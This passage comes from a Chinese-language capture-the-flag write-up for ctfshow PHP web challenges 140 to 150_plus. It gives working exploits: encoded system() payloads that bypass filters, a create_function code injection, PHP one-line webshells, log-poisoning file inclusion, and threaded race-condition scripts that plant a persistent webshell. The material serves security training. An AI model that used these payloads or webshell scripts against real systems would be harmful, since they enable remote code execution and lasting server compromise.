try:
requests.get(target,timeout=2.5)
except:
result +=s
print(result)
break
result += " "
得到flag
ctfshow{d01c8c41-5e6f-4d23-b444-ba63324f5aaf}
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
可以看见这里是要求传入f1和f2,且以字母或数字开头并结尾,然后将f1作为函数名,将f2作为函数内容这样子,然后我们看这个判断条件intval($code) == 'ctfshow'
,intval下的字符串都是0
所以的话我们只需让$code=0,也就可以成功执行,也就输出了flag,这时候我们看到\$code是由eval("return $f1($f2());");
得到的,因此我们这里找一些参数并让他们的返回值为0即可,经测试以下几个可行
f1=system&f2=system
f1=intval&f2=intval
web 141
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
?>
这里的话可以看一下这个正则^\W+$
\w :匹配包括下划线的任何单词字符,等价于 [A-Z a-z 0-9_]
\W :匹配任何非单词字符,等价于 [^A-Z a-z 0-9_]
所以这里的话其实就是匹配任意不是字母,数字,下划线,汉字的字符,然后那这里的话其实就可以考虑用异或来构造命令了,我们发现它是eval了v1v3v2,我们发现这样可以执行
因此我们给v1和v3随便赋值为1,2此类即可,然后用v3来构造异或语句,并在前后加上-即可
?v1=1&v2=1&v3=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)-
web142
可以看到这题是变量v1×了个877的五次方,然后赋值给变量d,然后沉睡d秒后输出flag,我们可控的是变量v1,如果v1是1的话
可以看见需要这么多时间,但是我们知道,0×任何都为0
构造payload如下
v1=0
web143
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
按理说按照之前的141的方法是可以的,但是在这里不行,被绕过了,我们尝试将v3参数内容里的-换成*进行尝试,构造payload如下
v1=1&v2=1&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)*
此时发现报错,再f12看一下,得到flag
web144
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
可以发现这里的话要求了v1必须是字符串,因此我们这里设置v1=1即可,而后再看v3,对v3的长度进行了检测,要求只有一个字符,我们这里随便整一个*,然后此时能利用的就是v3,我们把异或语句传入即可
v1=1&v2=(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=*
#这里需要说明一下,当在get中传参为+时浏览器会将此视为空格,所以说我们想要构造v3=
+时需要给它进行url编码,此时get传参再自动解码时就是+号了
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
我们可以发现这里的话是要求v1和v2为数字,我们可以用%0a来进行绕过,而v3这里ban异或,所有这里的话我们就需要重新构造语句了,这里没有ban可以用取反,我们可以用取反来构造
//s
1000 1100 %8c
0111 0011 %73
//y
1000 0110 %86
0111 1001 %79
//s
1011 0110 %8c
0100 1001 %73
//t
1000 1011 %8b
0111 0100 %74
//e
1001 1010 %9A
0110 0101 %63
//m
1001 0010 %92
0110 1101 %6d
//l
1001 0011 %93
0110 1100 %6c
//s
1011 0110 %b6
0100 1001 %73
?v1=2&v2=1&v3=|(~%8c%86%8c%8b%9A%92)(~%93%8c)|
system(ls)
同理构造一个tac *a*
就可以匹配到flag.php,最终payload如下
v1=2&v2=1&v3=|(~%8c%86%8c%8b%9A%92)(~%9c%9e%8b%df%99%d5)|
//system(tac *a*)
web146
同上关即可
web147
考察的是create_function的利用,可以看一下这位大师傅的文章https://paper.seebug.org/94/
然后思路知道后,我们还需要解决一个问题就是这个正则
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow))
思路的话就是输入create_function
,然后在前后分别加上字符,爆破一下会发现在前面加个\是可行的,这个为什么可行,看过feng师的wp后得知这里涉及到了php命令空间,示例如下
linux:
flag.txt 当前目录下存在flag.txt
/flag.txt 根目录下存在flag.txt
而php是可以自定义命名空间的,最大的命名空间是\,然后函数是在这个\里的,因此这里就
可以实现绕过同时调用函数
此时我们构造payload如下
GET:
show=}phpinfo();/*
POST:
ctf=\create_function
此时的语句其实就是用}注释掉if这个语句,然后执行了自己的语句,然后注释了后面的}这些,避免了报错
构造最终payload如下
GET:
show=}system("tac flag.php ");/*
POST:
ctf=\create_function
web148
本关没有过滤异或,然后还是eval了变量,因此我们这里可以沿用之前的异或,构造payload如下
code=(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA);
web149
明显是条件竞争,条件竞争脚本如下
import requests
import threading
url = "http://9ad3a761-9673-46ba-b21e-b45fe55c89e3.challenge.ctf.show"
def write():
post_payload = {
"show": '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
while event.isSet():
res = requests.post(url = url + "?ctf=1.php" , data=post_payload)
def read():
res = requests.get(url = url + "1.php")
while event.isSet():
if res.status_code == 200:
print(res.text)
if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(100):
threading.Thread(target=write).start()
for i in range(100):
threading.Thread(target=read).start()
这里采用写木马到index.php的方法
GET:
ctf=index.php
POST:
show=<?php eval($_POST[1]);?>
此时进行rce即可
1=system("tac /ctfshow_fl0g_here.txt");
web 150
这里的话我们可以发现ctf变量是没有限制的,而且再检测isvip变量,同时检测ctf变量没有:后就进行了包含ctf,这里我们可以利用日志包含,先在日志内写入一句话木马
而后
GET:
isVIP=1
POST:
ctf=/var/log/nginx/access.log&1=system("tac flag.php");
web150_plus
利用条件竞争
import requests
import io
import threading
url = "http://4654b838-6128-4fe7-8645-af50258f1a14.challenge.ctf.show/"
sessid = "quan9i"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('q.jpg', filebytes)
}
)
def read(session):
while True:
res = session.post(url+"?isVIP=1",
data={
"ctf":"/tmp/sess_"+sessid,
"1":"file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');",
},
cookies={
"PHPSESSID":sessid
}
)
res2 = session.get("http://4654b838-6128-4fe7-8645-af50258f1a14.challenge.ctf.show/1.php")
if res2.status_code == 200:
print("成功写入一句话!")
else:
print("Retry")
if __name__ == "__main__":
evnet = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
evnet.set()
官方hint及wp
这个题一点点小坑__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦